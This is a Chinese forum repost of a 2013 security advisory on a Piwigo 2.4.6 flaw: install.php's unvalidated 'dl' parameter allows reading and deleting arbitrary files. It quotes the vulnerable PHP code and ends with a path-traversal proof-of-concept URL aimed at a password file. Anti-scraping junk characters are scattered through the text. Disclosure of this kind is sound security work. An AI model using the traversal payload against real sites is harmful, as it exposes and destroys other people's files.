找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2509|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。" F4 x7 e$ y1 \

. `! a0 f* S3 {) f9 YPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。$ {' T) b: z/ U  N5 e9 b4 Z5 Q) c7 ]
====================================================================
0 c- C8 ^. j1 a0 J6 v/install.php:' D0 x4 v& |4 n9 o) V
-------------% ~/ o+ [% Y( o
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))7 Q- z1 W! {8 k, \3 X
114: {, U. i8 a' L: p8 ]2 w5 u3 n  }* ?
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
2 q( _5 [! Y$ @% x9 X$ c116:   header('Cache-Control: no-cache, must-revalidate');
  D% C) w- O9 ?: o& L* g117:   header('Pragma: no-cache');! C$ l3 h/ E/ {; y
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
) ?, `5 }3 e, G119:   header('Content-Transfer-Encoding: binary');
' T! w2 I* _) G& e+ Z120:   header('Content-Length: '.filesize($filename));
* B- y+ d# W: ?( O# ^! J121:   echo file_get_contents($filename);# _2 T% p4 O# a  t$ s# U) P4 l
122:   unlink($filename);( x. x0 _$ _/ s" D2 [+ n
123:   exit();/ N4 R" p3 ?* b, l$ Q9 D
124: }
9 G+ R. s- e0 I, ?5 q. A====================================================================
6 @0 C1 {( w- S8 v% I. q : M& ^$ l3 [, Q5 q) j
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
. \& p+ {/ [. K" A1 _* p  I           Apache 2.4.2 (Win32)
' i% z# L" T- [           PHP 5.4.4! }; b* ~  a& s- b: l
           MySQL 5.5.25a
, e) p' i6 u  r4 A- d6 {( \- E
: \- ?$ o& X3 v3 n: DVulnerability discovered by Gjoko 'LiquidWorm' Krstic! _4 c7 h; K9 ^  m
                            @zeroscience
! o3 i5 w. [" U1 W2 S+ b
% x$ C  |6 V& b- H; ^Advisory ID: ZSL-2013-51272 S( K( `1 C5 L- _& `
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
8 `% d4 r% \! f9 ?0 Z% ]0 MVendor Patch: http://piwigo.org/bugs/view.php?id=2843
# ~% g' ^, b5 l+ g3 U2 C) n 1 X7 d. J- n2 _9 b9 f9 G1 r
15.02.2013% C7 z7 o' ~- O+ z

3 r& |7 M% L6 c" }--
, [. C) l: T/ J: Khttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
, f! X" U2 U2 u/ E/ M5 {; y9 S5 w " D; w% j9 ]5 i; x( e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表